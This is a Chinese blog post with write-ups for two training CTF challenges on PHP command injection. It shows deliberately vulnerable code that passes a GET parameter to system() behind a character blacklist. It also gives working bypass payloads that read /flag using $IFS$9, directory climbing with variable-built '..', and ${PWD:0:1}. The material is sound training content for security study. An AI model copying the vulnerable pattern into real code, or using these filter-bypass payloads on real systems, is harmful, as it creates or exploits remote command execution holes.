no_good_file(训练题)

8 篇文章 0 订阅
7 篇文章 0 订阅

[题目信息]:

题目名称题目难度
no_good_file(训练题)2

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{CEFHCp-i7vPT1RpytkTOaNqlTutti6Xk}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5019

[题目writeup]:

1、实验主页

2、代码分析

 <?php
    highlight_file(__FILE__);
    $cmd=$_GET['cmd'];
    $str1='/';
    $str2='..';
    $str3='|';
    $str4=' ';
    $str5='&';
    $str5='@';
    $str6='!';
    $str7='+';
    $str8='>';
    $str9='(';
    $str10='\\';
    $str11='^';
    if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11))){
        exit("quit!!!!");
    }
    if (!empty($cmd)){
    echo "<pre>";
    system($cmd);
    echo "<pre>";
    }else{
        echo "</br>Please enter the Command! </br>";
    }
?> 

代码较长,主要分析核心代码;

  1. 用户通过get方式传递参数值
  2. 提示flag位于"/flag",但禁用了两个关键符号,"/"、":“以及”…";
  3. 如果通过waf后,会执行system()函数;

因为没有过滤.号,可以通过命令拼接构造…;以及利用cd …命令不断返回上一层,到达"/"目录,执行cat flag

payload

cmd=a=.;b=.;cd$IFS$9$a$b;cd$IFS$9$a$b;cd$IFS$9$a$b;cat$IFS$9flag







题目信息]:

题目名称题目难度
NoNumberFile(环境变量利用)2

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{rMU4PSrW6Uu-m1CS5TCqEvCOhD8NShzo}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5018

[题目writeup]:

1、实验主页

2、代码分析

<?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL | E_STRICT);
    //flag in /flag
    highlight_file(__FILE__);
    $cmd=$_GET['cmd'];
    $str1='/';
    $str2='.';
    $str3='|';
    $str4=' ';
    $str5='&';
    $str5='@';
    $str6='!';
    $str7='+';
    $str8='>';
    $str9='(';
    $str10='\\';
    $str11='^';
    $str12='cd';
    if((strstr($cmd,$str1)) || (strstr($cmd,$str2)) || (strstr($cmd,$str3)) || (strstr($cmd,$str4)) || (strstr($cmd,$str5)) || (strstr($cmd,$str6)) || (strstr($cmd,$str7)) || (strstr($cmd,$str8))|| (strstr($cmd,$str9))|| (strstr($cmd,$str10))|| (strstr($cmd,$str11)) ||(strstr($cmd,$str12))){
        exit("quit!!!!");
    }
    if (!empty($cmd)){
    echo "<pre>";
    echo $cmd;
    system($cmd);
    echo "<pre>";
    }else{
        echo "</br>Please enter the Command! </br>";
    }

?>

代码较长,主要分析核心代码;

  1. 用户通过get方式传递参数值
  2. 提示flag位于"/flag",但禁用了两个关键符号,"/",以及".";
  3. 如果通过waf后,会执行system()函数;

其他大多数绕过方式我们已经接触过了,例如本题目禁用得空格符号,我们可以使用$IFS$9、${IFS}、>等进行绕过;那么对于/符号该如何绕过呢;

内置环境变量利用

$PWD 是个系统变量

pwd 是linux 自带的命令. 全称: pathname of the current working directory.

从图中可以看出,${PWD:0:1}类似sql语句中mid,substr等截断函数,”0“表示截取位置为第一个字符,”1“表示截取长度为1;

${PWD:0:1} <==> “/”

payload

先执行

?cmd=cat$IFS$9${PWD%3a0%3a1}flag

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值